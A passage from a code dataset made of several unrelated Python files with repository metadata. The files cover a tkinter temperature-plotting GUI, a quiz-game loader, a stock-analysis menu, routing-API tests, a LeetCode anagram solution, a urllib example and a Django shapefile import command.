font=(\"Times\", 22, \"bold\"), background='#FF9800', \n                    foreground=\"#757575\").pack(padx=10, pady=10)\n        ttk.Label(top, text=\"Date:\", font=(\"Times\", 20), \n                    foreground=\"#757575\", background='#FF9800')\\\n                    .pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n        # The widget for date selection.\n        cal = DateEntry(top, width=8, height=15, \n                        background='#F57C00', font=(\"Times\", 20),\n                        foreground='white', borderwidth=2, \n                        year=2022, month=7, day=23)\n        # Set the default date.\n        # cal.set_date(dt.date(2022, 6, 14))\n        cal.pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n\n        # Bind the DateEntrySelected event with set_start_date function.\n        cal.bind(\"<<DateEntrySelected>>\", set_end_date)\n        \n        ttk.Label(top, text=\"Time:\", font=(\"Times\", 20), \n                foreground=\"#757575\", background='#FF9800')\\\n                .pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n\n        # The Combobox for choosing the hour.\n        hour_box = ttk.Combobox(\n            master=top,  \n            height=15,  \n            width=3,  \n            state=\"normal\",  \n            cursor=\"arrow\",  \n            font=(\"\", 20),  \n            values=values_h, \n            textvariable=hour)\n        hour_box.pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n        # Bind this event with function.\n        hour_box.bind(\"<<ComboboxSelected>>\", set_end_hour)\n        # : text.\n        ttk.Label(top, text=\":\", font=(\"\", 20), foreground=\"#757575\",\n                 background='#FF9800').pack(side=tk.LEFT, \n                                        padx=(20, 0), pady=(0, 20))\n        # The Combobox for choosing the minute.\n        minute_box = ttk.Combobox(\n            master=top,  \n            height=15,  \n            width=3,  \n            state=\"normal\",  \n            cursor=\"arrow\",  \n            font=(\"\", 20),  \n            values=values_t,  \n            textvariable=minute)\n        minute_box.pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n        # Bind this event with function.\n        minute_box.bind(\"<<ComboboxSelected>>\", set_end_minute)\n\n        # Store date and time into the class attribute.\n        self.end_date = date\n        self.end_time = time\n\n    def get_h_and_m_list(self):\n        \"\"\"\n        This function is for getting the hour and minute list for time\n        choosing box.\n        ----------\n        Returns:\n        a tuple contains the lists of hours and minutes. \n        e.g.(hours list, minutes list)\n        \"\"\"\n        # Initialize hours' list and minutes' list.\n        values_h = []\n        values_m = []\n        for this_h in [i for i in range(24)]:\n            if this_h < 10:\n                this_h = \"0\" + str(this_h)\n            else:\n                this_h = str(this_h)\n            values_h.append(this_h)\n        for this_m in [i for i in range(60)]:\n            if this_m < 10:\n                this_m = \"0\" + str(this_m)\n            else:\n                this_m = str(this_m)\n            values_m.append(this_m)\n        return (values_h, values_m)\n\n    def choose_plotting_df_name(self):\n        \"\"\"\n        This function is for choosing the plotting df name.\n        \"\"\"\n        plot_df = self.plot_df\n        if plot_df.get() == \"Create an analysis first!\":\n            info = \"Create an analysis first!\"\n            msgbox.showwarning(\"Warning\", info)\n            return None\n\n        # Create upper window.\n        top = tk.Toplevel(self, bg='#FF9800')\n        top_width = self.winfo_screenwidth() / 2.7\n        top_height = self.winfo_screenheight() / 3.5\n        top_left = (self.winfo_screenwidth() - top_width) / 2\n        top_top = (self.winfo_screenheight() - top_height) / 2\n        top.geometry(\"%dx%d+%d+%d\" % (top_width,top_height,top_left,top_top))\n        ttk.Label(top, text='Choose the name(s) of csv(s) for Plotting', \n                font=(\"Times\", 22, \"bold\"), background='#FF9800', \n                foreground=\"#757575\").pack(padx=10, pady=10)\n\n        def show_result():\n            msgbox.showinfo(\"Plotting Name\", picker.current_value)\n            top.destroy()\n\n        # Multiple choose box\n        picker = Combopicker(top, values=[\"All\"]+self.df_names, \n                            entryvar=plot_df, entrywidth=10)\n        picker.pack()\n\n        test_btn = tk.Button(top, text=\"Quit\", \n                            command=show_result, bg=\"#FF9800\", \n                            fg=\"#FFE0B2\", font=('Times', 10, 'bold'))\n        test_btn.pack(side=tk.BOTTOM, padx=(0, 20), pady=(0, 20))\n\n        self.plot_df = plot_df\n\n    def plotting_average(self):\n        \"\"\"\n        This function is for plotting temperature average.\n        \"\"\"\n        # Check the status.\n        if self.status.get() != self.status_list[2]:\n            if self.status.get() == self.status_list[0]:\n                info = \"Please create an analysis first.\"\n            else:\n                info = \"Please add the outdoor temperature file.\"\n            msgbox.showwarning(\"Warning\", info)\n            return None\n\n        this_analysis = self.analysis\n\n        # Transfer to dt.date.\n        date_format = \"%Y-%m-%d\"\n        start_date = dt.datetime.strptime(self.start_date.get(), date_format)\n        end_date = dt.datetime.strptime(self.end_date.get(), date_format)\n        start_date = start_date.date()\n        end_date = end_date.date()\n\n        # Choose the dataframe needs to be plotted.\n        choice = self.plot_df.get()\n        choice = choice.split(\",\")\n        if choice.count(\"All\"):\n            df_names = copy.deepcopy(this_analysis.df_names)\n        else:\n            df_names = choice\n\n        # Decide the right name.\n        if choice.count(\"All\"):\n            plot_name = \"\"\n        else:\n            plot_name = \", \".join(choice)\n            plot_name = \"(\" + plot_name + \")\"\n\n        # Plotting\n        this_analysis.plot_graph(df_names=df_names, \n                figure_name=f\"Day Average Temperature(℃) vs Date {plot_name}\",\n                x_name=\"Date\", y_names=[\"Temperature(C)\"], \n                output_dir=self.output_dir.get(), \n                start_date=start_date, \n                end_date=end_date)\n\n    def plotting_each_day(self):\n        \"\"\"\n        This function is for plotting graph of each day.\n        \"\"\"\n        # Check the status.\n        if self.status.get() != self.status_list[2]:\n            if self.status.get() == self.status_list[0]:\n                info = \"Please create an analysis first.\"\n            else:\n                info = \"Please add the outdoor temperature file.\"\n            msgbox.showwarning(\"Warning\", info)\n            return None\n\n        this_analysis = self.analysis\n        # Transfer to dt.date.\n        date_format = \"%Y-%m-%d\"\n        start_date = dt.datetime.strptime(self.start_date.get(), date_format)\n        end_date = dt.datetime.strptime(self.end_date.get(), date_format)\n        start_date = start_date.date()\n        end_date = end_date.date()\n        # Transfer to dt.time.\n        time_format = \"%H:%M\"\n        start_time = dt.datetime.strptime(self.start_time.get(), time_format)\n        start_time = start_time.time()\n        end_time = dt.datetime.strptime(self.end_time.get(), time_format)\n        end_time = end_time.time()\n\n        # Choose the dataframe needs to be plotted.\n        choice = self.plot_df.get()\n        choice = choice.split(\",\")\n        if choice.count(\"All\"):\n            df_names = copy.deepcopy(this_analysis.df_names)\n        else:\n            df_names = choice\n\n        # Decide the right name.\n        if choice.count(\"All\"):\n            plot_name = \"\"\n        else:\n            plot_name = \", \".join(choice)\n            plot_name = \"(\" + plot_name + \")\"\n\n        this_analysis.plot_each_day(df_names=df_names, \n            figure_name=f\"Temperature(℃) vs Time {plot_name}\", \n            x_name=\"Time\", y_names=[\"Temperature(C)\"], \n            output_dir=self.output_dir.get(), \n            start_date=start_date, end_date=end_date, \n            start_time=start_time, end_time=end_time)\n\n    def plotting_average_with_reco(self):\n        \"\"\"\n        This function is for plotting temperature average with recommendations.\n        \"\"\"\n        # Check the status.\n        if self.status.get() != self.status_list[2]:\n            if self.status.get() == self.status_list[0]:\n                info = \"Please create an analysis first.\"\n            else:\n                info = \"Please add the outdoor temperature file.\"\n            msgbox.showwarning(\"Warning\", info)\n            return None\n\n        this_analysis = self.analysis\n\n        # Transfer to dt.date.\n        date_format = \"%Y-%m-%d\"\n        start_date = dt.datetime.strptime(self.start_date.get(), date_format)\n        end_date = dt.datetime.strptime(self.end_date.get(), date_format)\n        start_date = start_date.date()\n        end_date = end_date.date()\n\n        # Choose the dataframe needs to be plotted.\n        choice = self.plot_df.get()\n        choice = choice.split(\",\")\n        if choice.count(\"All\"):\n            df_names = copy.deepcopy(this_analysis.df_names)\n        else:\n            df_names = choice\n\n        # Decide the right name.\n        if choice.count(\"All\"):\n            plot_name = \"\"\n        else:\n            plot_name = \", \".join(choice)\n            plot_name = \"(\" + plot_name + \")\"\n\n        plot_name = \\\n            f\"Day Average Temperature(℃) vs Date with benchmarks {plot_name}\"\n        this_analysis.plot_graph_with_recommandation(df_names=df_names, \n                    figure_name=plot_name, x_name=\"Date\", \n                    y_names=[\"Temperature(C)\"], \n                    output_dir=self.output_dir.get(), \n                    start_date=start_date, end_date=end_date)\n\n    def plotting_each_day_with_reco(self):\n        \"\"\"\n        This function is for plotting graph of each day with recommendations.\n        \"\"\"\n        # Check the status.\n        if self.status.get() != self.status_list[2]:\n            if self.status.get() == self.status_list[0]:\n                info = \"Please create an analysis first.\"\n            else:\n                info = \"Please add the outdoor temperature file.\"\n            msgbox.showwarning(\"Warning\", info)\n            return None\n\n        this_analysis = self.analysis\n        # Transfer to dt.date.\n        date_format = \"%Y-%m-%d\"\n        start_date = dt.datetime.strptime(self.start_date.get(), date_format)\n        end_date = dt.datetime.strptime(self.end_date.get(), date_format)\n        start_date = start_date.date()\n        end_date = end_date.date()\n        # Transfer to dt.time.\n        time_format = \"%H:%M\"\n        start_time = dt.datetime.strptime(self.start_time.get(), time_format)\n        start_time = start_time.time()\n        end_time = dt.datetime.strptime(self.end_time.get(), time_format)\n        end_time = end_time.time()\n\n        # Choose the dataframe needs to be plotted.\n        choice = self.plot_df.get()\n        choice = choice.split(\",\")\n        if choice.count(\"All\"):\n            df_names = copy.deepcopy(this_analysis.df_names)\n        else:\n            df_names = choice\n\n        # Decide the right name.\n        if choice.count(\"All\"):\n            plot_name = \"\"\n        else:\n            plot_name = \", \".join(choice)\n            plot_name = \"(\" + plot_name + \")\"\n\n        this_analysis.plot_each_day_with_recommendatioin(df_names=df_names, \n            figure_name=f\"Temperature(℃) vs Time with benchmarks {plot_name}\",\n            x_name=\"Time\", y_names=[\"Temperature(C)\"], \n            output_dir=self.output_dir.get(), \n            start_date=start_date, end_date=end_date, \n            start_time=start_time, end_time=end_time)\n\n    def select_directory_output(self):\n        \"\"\"\n        This function is for selecting output directory.\n        \"\"\"\n        path = filedialog.askdirectory()\n        if path == \"\":\n            self.output_dir.get()\n        else:\n            path = path.replace(\"/\", \"\\\\\")   \n            self.output_dir.set(path)\n        info = f\"The output directory:\\n{self.output_dir.get()}\"\n        msgbox.showinfo(\"Output Directory\", info)\n\n    def say_goodbye(self):\n        # Showing message\n        msgbox.showinfo(\"Goodbye!\", \"Goodbye, see you next time!\")\n        self.after(1000, self.destroy)\n\n\n# Run the window.\nif __name__ == \"__main__\":\n    app = DataPlotting()\n    app.mainloop()","repo_name":"ssykz5/UNNC-F22-ABEE1025-Group22","sub_path":"coursework_part4_data_processing_and_visualization/GUI_main.py","file_name":"GUI_main.py","file_ext":"py","file_size_in_byte":38352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31105974279","text":"import os\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import List\n\nfrom config.paths import MELODIES_PATH\n\nQUESTION_NAME = 'question.mp3'\nANSWER_NAME = 'answer.mp3'\nANSWER_TEXT = 'answer.txt'\n\n\n@dataclass\nclass Task:\n    point_count: int\n    category_name: str\n    path_to_question: str\n    path_to_answer: str\n    answer: str\n\n\n@dataclass\nclass Category:\n    name: str\n    tasks: List[Task]\n\n\nclass Round:\n    def __init__(self, index: int, categories: List[Category]):\n        if index > 5:\n            raise ValueError('Unsupported round index. Max 5.')\n        self.index: int = index\n        self.categories: List[Category] = categories\n\n    def get_name(self) -> str:\n        dec_to_rome = {\n            1: 'I',\n            2: 'II',\n            3: 'III',\n            4: 'IV',\n            5: 'V',\n        }\n        return f'Раунд {dec_to_rome[self.index]}'\n\n\ndef configure_rounds() -> List[Round]:\n    path_to_round = Path(f'{MELODIES_PATH}')\n    if not path_to_round.exists():\n        raise AssertionError(f'Path for melodies does not exests in {MELODIES_PATH}')\n    rounds: List[Round] = []\n\n    for i, round_path in enumerate(sorted(os.listdir(path_to_round)), start=1):\n        categories: List[Category] = []\n        for category_name in os.listdir(path_to_round / Path(str(round_path))):\n            tasks: List[Task] = []\n            for task in os.listdir(path_to_round / Path(str(round_path)) / Path(str(category_name))):\n                path_to_task = path_to_round / Path(str(round_path)) / Path(str(category_name)) / Path(str(task))\n                path_to_answer = path_to_task / Path(ANSWER_NAME)\n                if not path_to_answer.exists():\n                    path_to_answer = None\n                with open(path_to_task / Path(ANSWER_TEXT), 'r') as file:\n                    answer = file.read()\n                tasks.append(\n                    Task(\n                        point_count=int(str(task)),\n                        category_name=category_name,\n                        path_to_question=str(path_to_task / Path(QUESTION_NAME)),\n                        path_to_answer=str(path_to_answer) if path_to_answer else None,\n                        answer=answer,\n                    )\n                )\n            categories.append(\n                Category(\n                    name=str(category_name),\n                    tasks=sorted(tasks, key=lambda t: t.point_count)\n                )\n            )\n        rounds.append(\n            Round(\n                index=i,\n                categories=sorted(categories, key=lambda c: c.name)\n            )\n        )\n    return sorted(rounds, key=lambda r: r.index)\n","repo_name":"Julia-Markelova/new_year_melody_game","sub_path":"tasks/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4376528426","text":"\"\"\"\n\nTitle:          main.py\n\nDescription:    Script where all the modules are called. \n                Also the only interface between the user and the program.\n\n\"\"\"\n\n# ----- Imports -----\nfrom modules import GetData, Descriptives, MovingAverage, ArimaForecast\n\n## ----- Print Instructions -----\nwelcome = \"\"\"\n--------------------------------------------------\n          FINANCIAL TECHNICAL ANALYSIS\n--------------------------------------------------\n\n\"\"\"\n\nfunctionality = \"\"\"\n--------------------------------------------------\nFunctionalities: \n\n1 - Descriptive Statistics\\n    Collection of descriptive statistics regarding the desired stock. \\n\n2 - Technical Analysis\\n    Comparison of a buy-and-hold strategy with a technical analysis (bullish/bearish cross). \\n\n3 - Forecast\\n    Prediction of return for the next days.\\n\nS - TYPE S TO CHANGE TICKERS\nX - TYPE X TO QUIT THE PROGRAM.\n\n--------------------------------------------------\n\"\"\"\n\ninstructions = \"\"\"\nFirst, enter a ticker and  starting/ending dates.\nSecond, enter the functionality that you are interested in. \n\"\"\"\n\nprint(welcome)\ninput(\"Type ENTER to continue: \\n > \")\nprint(instructions)\n\n\n## ---- Ask the desired stock -----\ndata1 = GetData.get_stock()\n\n## ----- Set the interface -----\nprog = ''\nwhile prog.upper() != \"X\" :\n    # create a copy of the data set so unwelcome changes in the function do not matter\n    data = data1.copy()\n    # Ask the desired functionality\n    print(functionality)\n    prog = input(\"Enter the desired functionality:\\n > \")\n    \n    # First Program \n    if prog == \"1\":\n        print('List of descriptive statistics: ')\n        Descriptives.descriptives(data)\n\n    # Second Program\n    elif prog == \"2\":\n        print('Enter the orders of the moving averages.')\n        print('Different values will return different gains/losses.')\n        \n        # Ask the inputs (also checks if input is integer and long > short)\n        while True: \n            try:\n                lag_short_term = int(input('Moving average order for short term:\\n > '))\n                lag_long_term = int(input('Moving average order for long term:\\n > '))\n            except ValueError:\n                print('ERROR: You must enter an integer !')\n                continue\n            if lag_short_term >= lag_long_term: \n                print('ERROR: Short term order must be smaller than the long term order.')\n            else: \n                break\n        # Execute the moving-average analysis\n        MovingAverage.move_av(data, lag_short_term, lag_long_term)\n    \n    # Third Program\n    elif prog == \"3\":\n        ArimaForecast.forecast(data)\n            \n    # New TICKER\n    elif prog.upper() == \"S\":\n        data1 = GetData.get_stock()\n    \n    # Warn the user that the program is finished\n    if prog.upper() != \"S\":\n        input(\"Functionality over. Press enter to return to the menu.\")\n","repo_name":"AntoineGF/Coding-HSG","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29225675117","text":"import requests\nimport json\nimport os\nimport http.client\nimport pytest\nfrom yatest.common import source_path\nfrom maps.b2bgeo.mvrp_solver.backend.tests_lib.util import (\n    API_KEY,\n    check_response_optional_fields,\n    fill_dummy_test_options,\n    post_task_and_check_async_error_message,\n    post_task_and_check_error_message,\n    TASK_DIRECTORY,\n    wait_task,\n)\n\n\ndef check_headers(headers, task_id, origin):\n    assert \"Location\" in headers\n    assert \"/result/\" + task_id in headers[\"Location\"]\n\n    assert 'Access-Control-Allow-Origin' in headers\n    assert headers['Access-Control-Allow-Origin'] == origin\n\n    assert 'Content-Type' in headers\n    assert headers['Content-Type'] == 'application/json'\n\n\ndef test_no_time_zone(async_backend_url):\n    backend_url = async_backend_url\n    file_path = source_path(os.path.join(TASK_DIRECTORY, '10_locs.json'))\n    with open(file_path, \"r\") as f:\n        task_value = json.load(f)\n    fill_dummy_test_options(task_value)\n    del task_value[\"options\"][\"time_zone\"]\n    response = requests.post(backend_url + \"/add/mvrp?apikey={}\".format(API_KEY), json.dumps(task_value))\n    assert not response.ok\n\n    j = response.json()\n    assert 'error' in j\n    error = j['error']\n    assert 'incident_id' in error\n    assert 'message' in error\n    assert 'Request parameters do not meet the requirements' in error['message']\n\n\ndef test_invalid_date_format(async_backend_url):\n    backend_url = async_backend_url\n    file_path = source_path(os.path.join(TASK_DIRECTORY, '10_locs.json'))\n    with open(file_path, \"r\") as f:\n        task_value = json.load(f)\n    task_value[\"options\"][\"date\"] = \"invalid_date\"\n    response = requests.post(backend_url + \"/add/mvrp?apikey={}\".format(API_KEY), json.dumps(task_value))\n    assert response.status_code == requests.codes.bad_request\n    assert response.json()[\"error\"][\"message\"] == \"\"\"Invalid date format: invalid_date.\"\"\"\n\n\ndef test_validate_parameters_fail(async_backend_url):\n    file_path = source_path(os.path.join(TASK_DIRECTORY, '10_locs.json'))\n    with open(file_path, \"r\") as f:\n        task_value = json.load(f)\n    INVALID_LOCATION_ID = 9999999\n    task_value[\"vehicles\"][0][\"visited_locations\"] = [\n        {\n            \"id\": INVALID_LOCATION_ID\n        }\n    ]\n    post_task_and_check_async_error_message(\n        async_backend_url, task_value, f\"Cannot find location with id={INVALID_LOCATION_ID}\")\n\n\ndef test_task(async_backend_url):\n    allowed_origins = (\n        \"https://yandex.ru\",\n        \"https://yandex.com\",\n        \"https://yandex.com.tr\",\n        \"https://l7test.yandex.ru\",\n        \"https://l7test.yandex.com\",\n        \"https://l7test.yandex.com.tr\",\n        \"https://test-stand-9443-un-map-tile-border.stands.b2bgeo.yandex.com\",\n        \"http://localhost:3333\",\n        \"http://localhost.msup.yandex.ru:8081\",\n        \"https://localhost.msup.yandex.com:8081\",\n        \"http://localhost.msup.yandex.com.tr:8081\",\n    )\n\n    backend_url = async_backend_url\n    file_path = source_path(os.path.join(TASK_DIRECTORY, '10_locs.json'))\n    with open(file_path, \"r\") as f:\n        task_value = json.load(f)\n    fill_dummy_test_options(task_value)\n    for origin in allowed_origins:\n        response = requests.post(\n            backend_url + \"/add/mvrp?apikey={}\".format(API_KEY),\n            json.dumps(task_value),\n            headers={'Origin': origin},\n        )\n        assert response.ok, response.text\n        task_id = response.json()['id']\n        check_headers(response.headers, task_id, origin)\n\n        response = requests.get(backend_url + \"/result/\" + task_id)\n        assert response.ok, response.text\n        assert response.headers.get('Access-Control-Allow-Origin') is None\n\n        response = requests.get(backend_url + \"/result/\" + task_id, headers={'Origin': origin})\n        assert response.headers.get('Access-Control-Allow-Origin') == origin\n\n        j = wait_task(backend_url, task_id)\n        assert \"status\" in j\n        assert \"calculated\" in j[\"status\"]\n        assert j[\"message\"] == 'Task successfully completed', j[\"message\"]\n        assert \"result\" in j\n        assert j[\"result\"][\"metrics\"][\"total_probable_penalty\"] == 0\n        assert not j[\"result\"][\"options\"][\"minimize_lateness_risk\"]\n\n        assert \"matrix_statistics\" in j\n        matrix_statistics = j[\"matrix_statistics\"]\n        assert len(matrix_statistics) == 1\n        ms = matrix_statistics['driving']\n        assert ms[\"total_distances\"] > 0\n        assert ms[\"requested_router\"] == \"geodesic\"\n        assert ms[\"used_router\"] == \"geodesic\"\n        assert ms[\"geodesic_distances\"] == ms[\"total_distances\"]\n        check_response_optional_fields(j)\n\n\ndef test_incorrect_time_windows(async_backend_url):\n    with open(source_path(os.path.join(TASK_DIRECTORY, '10_locs.json')), 'r') as f:\n        task = json.load(f)\n    fill_dummy_test_options(task)\n\n    task['locations'][0]['time_window'] = \"11:00-10:00\"\n    post_task_and_check_error_message(async_backend_url, task, \"delivery id 0: Invalid time range format: 11:00-10:00.\")\n\n    task['locations'][0]['time_window'] = \"10:00-11:00\"\n    task['depot']['time_window'] = \"11:00-10:00\"\n    post_task_and_check_error_message(async_backend_url, task, \"Invalid time range format: 11:00-10:00.\")\n\n    task['depots'] = [task['depot']]\n    del task['depot']\n    post_task_and_check_error_message(async_backend_url, task, \"Invalid time range format: 11:00-10:00.\")\n\n\ndef test_incorrect_balanced_group_ids(async_backend_url):\n    with open(source_path(os.path.join(TASK_DIRECTORY, '10_locs.json')), 'r') as f:\n        task = json.load(f)\n    fill_dummy_test_options(task)\n\n    task['options']['balanced_groups'] = [{\"id\": \"0\"}]\n    task['vehicles'][0]['shifts'] = [{\"id\": \"0\", \"time_window\": \"10:00-15:00\", \"balanced_group_id\": \"1\"}]\n    post_task_and_check_async_error_message(\n        async_backend_url, task, \"balanced route group id '1' is not defined in 'balanced_groups' option.\")\n\n\ndef test_missing_apikey(async_backend_url):\n    resp = requests.post(async_backend_url + '/add/mvrp', json={})\n    assert resp.status_code == http.client.UNAUTHORIZED\n    assert \"Query parameter 'apikey' is missing\" == resp.json()['error']['message']\n\n\n@pytest.mark.parametrize('time_zone', [3, \"Europe/Moscow\"])\ndef test_time_zone_as_string(async_backend_url, time_zone):\n    with open(source_path(os.path.join(TASK_DIRECTORY, '10_locs.json')), 'r') as f:\n        task_value = json.load(f)\n\n    fill_dummy_test_options(task_value)\n    task_value[\"options\"][\"time_zone\"] = time_zone\n\n    response = requests.post(async_backend_url + \"/add/mvrp?apikey={}\".format(API_KEY), json.dumps(task_value))\n    assert response.ok, response.text\n    task_id = response.json()['id']\n    j = wait_task(async_backend_url, task_id)\n    assert 'calculated' in j['status']\n    assert j[\"result\"][\"options\"][\"time_zone\"] == time_zone\n\n\ndef test_zero_coordinates(async_backend_url):\n    backend_url = async_backend_url\n    file_path = source_path(os.path.join(TASK_DIRECTORY, '10_locs.json'))\n    with open(file_path, \"r\") as f:\n        task_value = json.load(f)\n    fill_dummy_test_options(task_value)\n    task_value[\"locations\"][0][\"point\"][\"lat\"] = 0.0\n    task_value[\"locations\"][0][\"point\"][\"lon\"] = 0.0\n    response = requests.post(backend_url + \"/add/mvrp?apikey={}\".format(API_KEY), json.dumps(task_value))\n    assert not response.ok\n\n    j = response.json()\n    error = j['error']\n    assert 'delivery id 0: invalid coordinates: lat = 0, lon = 0.' in error['message']\n\n\n@pytest.mark.parametrize('matrix_router', [False, True])\n@pytest.mark.parametrize('solver_time_limit_s', [False, True])\ndef test_override_task_options_with_cgi_parameters(async_backend_url, matrix_router, solver_time_limit_s):\n    file_path = source_path(os.path.join(TASK_DIRECTORY, '10_locs.json'))\n    with open(file_path, \"r\") as f:\n        task_value = json.load(f)\n\n    if matrix_router:\n        task_value['options']['matrix_router'] = 'main'\n    if solver_time_limit_s:\n        task_value['options']['solver_time_limit_s'] = 3.0\n\n    new_matrix_router = 'geodesic'\n    new_solver_time_limit_s = 0\n    post_task_url = async_backend_url + f\"/add/mvrp?apikey={API_KEY}&matrix_router={new_matrix_router}&solver_time_limit_s={new_solver_time_limit_s}\"\n\n    response = requests.post(post_task_url, json.dumps(task_value))\n    assert response.ok, response.text\n    task_id = response.json()['id']\n    j = wait_task(async_backend_url, task_id)\n    assert 'calculated' in j['status']\n\n    response = requests.get(async_backend_url + f\"/log/request/{task_id}\")\n    assert response.json()['options']['matrix_router'] == new_matrix_router\n    assert response.json()['options']['solver_time_limit_s'] == new_solver_time_limit_s\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/add_new.py","file_name":"add_new.py","file_ext":"py","file_size_in_byte":8718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33258275564","text":"# URL: https://leetcode.com/problems/group-anagrams/\nclass Solution:\n    def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n        # Could sort strings and store sorted strings in dict\n        # If two sorted strings match, then they are in same group\n        # O(n*k*log(n)) runtime complexity for storing each string in dictionary\n        # where n is the number of strings and k is th max length of the strings\n        # O(n*k) space complexity for storing all strings in hashmap\n        anagrams = []\n        sorted_strings = {}\n        for string in strs:\n            sorted_string = ''.join(sorted(string))\n            if sorted_string in sorted_strings:\n                sorted_strings[sorted_string].append(string)\n            else:\n                # Add string to its own dict entry\n                sorted_strings[sorted_string] = [string]\n                \n        # Return list of values\n        return sorted_strings.values()\n                \n        # Could also just get the count of each letter in a list for each string\n        # and if the letter counts for each string are the same, they are in the same group\n        # O(n*k) runtime complexity for running through each string of max length k\n        # O(n*k) space complexity for storing each string of max k letters in hashmap\n        res_map = {}\n        for string in strs:\n            # Create empty counts\n            count = [0 for x in range(26)]\n            for c in string:\n                # Use basic ASCII math to get index location of each letter\n                count[ord(c.lower()) - 97] += 1\n                \n            count_representation = \"\"\n            for i in range(26):\n                count_representation += \"#\"\n                count_representation += str(count[i])\n\n            if count_representation in res_map:\n                res_map[count_representation].append(string)\n            else:\n                res_map[count_representation] = [string]\n                    \n        return res_map.values()\n        \n\n","repo_name":"aaronfox/LeetCode-Work","sub_path":"GroupAnagrams.py","file_name":"GroupAnagrams.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8795636301","text":"#! /usr/bin/python3\n# -*- coding:UTF-8 -*-\n\nfrom urllib import request\n\ndef get_request():\n    with request.urlopen('http://www.baidu.com') as f:\n        data = f.read()\n        print(f'Status:{f.status} {f.reason}')\n        for k, v in f.getheaders():\n            print(f'{k}: {v}')\n    print(f\"Data:{data.decode('utf-8')}\")\n\ndef main():\n    get_request()\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"liuyuzhou/python3.7sourcecode","sub_path":"chapter15/get_request.py","file_name":"get_request.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"3"}
+{"seq_id":"16254562366","text":"import json\nimport logging\nimport os\nfrom datetime import datetime\n\nimport fiona\nfrom django.contrib.gis import geos\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.management import BaseCommand\n\nfrom assetpos.models import Asset\nfrom location.models import Scenario\nfrom raster.tiles import get_root_tile\n\nlogger = logging.getLogger(__name__)\n\nWEBMERCATOR_SRID = 3857\n\n\nclass Command(BaseCommand):\n    help = \"\"\"\n    Parses a shp to a fixture which contains positions (instances) of the asset with the given ID.\n    \"\"\"\n\n    def add_arguments(self, parser):\n        parser.add_argument(\"--shapefile\", type=str)\n        parser.add_argument(\"--out\", type=str)\n        parser.add_argument(\"--asset_id\", type=str)\n        parser.add_argument(\"--srid\", type=int)\n        parser.add_argument(\"--scenario_id\", type=int)\n\n    def handle(self, *args, **options):\n        # Validate the arguments\n        if \"shapefile\" not in options or not options[\"shapefile\"]:\n            logger.error(\"No shapefile given!\")\n            return\n\n        if not os.path.isfile(options[\"shapefile\"]):\n            logger.error(\"Invalid shapefile path!\")\n            return\n\n        if \"out\" not in options or not options[\"out\"]:\n            logger.error(\"No output path given!\")\n            return\n\n        if \"asset_id\" not in options or not options[\"asset_id\"]:\n            logger.error(\"No asset ID given!\")\n            return\n\n        if \"srid\" not in options or not options[\"srid\"]:\n            input_srid = None\n            logger.warn(\"No input srid given! Assuming webmercator\")\n        else:\n            input_srid = options[\"srid\"]\n\n        if \"scenario_id\" not in options or not options[\"scenario_id\"]:\n            scenario_id = None\n            logger.info(\"No scenario ID given! Assets will be valid in all scenarios\")\n        else:\n            scenario_id = options[\"scenario_id\"]\n\n        try:\n            asset = Asset.objects.get(id=options[\"asset_id\"])\n        except ObjectDoesNotExist:\n            logger.error(\"Invalid asset ID!\")\n            return\n\n        try:\n            scenario = Scenario.objects.get(id=scenario_id)\n        except ObjectDoesNotExist:\n            logger.error(\"Invalid scenario ID!\")\n            return\n\n        asset_type = asset.asset_type\n\n        logger.info(\"Asset name: {}\".format(asset.name))\n        logger.info(\"AssetType name: {}\".format(asset_type.name))\n\n        if scenario:\n            logger.info(\"Scenario name: {}\".format(scenario.name))\n\n        json_data = []\n\n        logger.info(\"Parsing...\")\n\n        # Parse features from the shapefile into a json file in the fixture format\n        for feature in fiona.open(options[\"shapefile\"]):\n            if input_srid:\n                pointstring = geos.Point(*feature[\"geometry\"][\"coordinates\"], srid=input_srid)\n            else:\n                pointstring = geos.Point(*feature[\"geometry\"][\"coordinates\"], srid=WEBMERCATOR_SRID)\n                pointstring.transform(WEBMERCATOR_SRID)\n\n            if scenario:\n                tile = get_root_tile(scenario)\n            else:\n                tile = None\n\n            fields = {\n                \"asset\": asset.id,\n                \"asset_type\": asset_type.id,\n                \"location\": str(pointstring),\n                \"create_stamp\": datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S.0Z\"),\n                \"tile\": tile.id\n            }\n\n            json_data.append({\"model\": \"assetpos.AssetPositions\", \"fields\": fields})\n\n        logger.info(\"Writing the result...\")\n\n        # Write the result into a nicely human-readable json fixture\n        with open(options[\"out\"], \"w+\") as outfile:\n            outfile.write(json.dumps(json_data, sort_keys=False, indent=4, separators=(\",\", \": \"), ensure_ascii=False))\n\n            logger.info(\"Success!\")\n","repo_name":"boku-ilen/landscapelab-server","sub_path":"assetpos/management/commands/shp_to_assetpos_fixture.py","file_name":"shp_to_assetpos_fixture.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
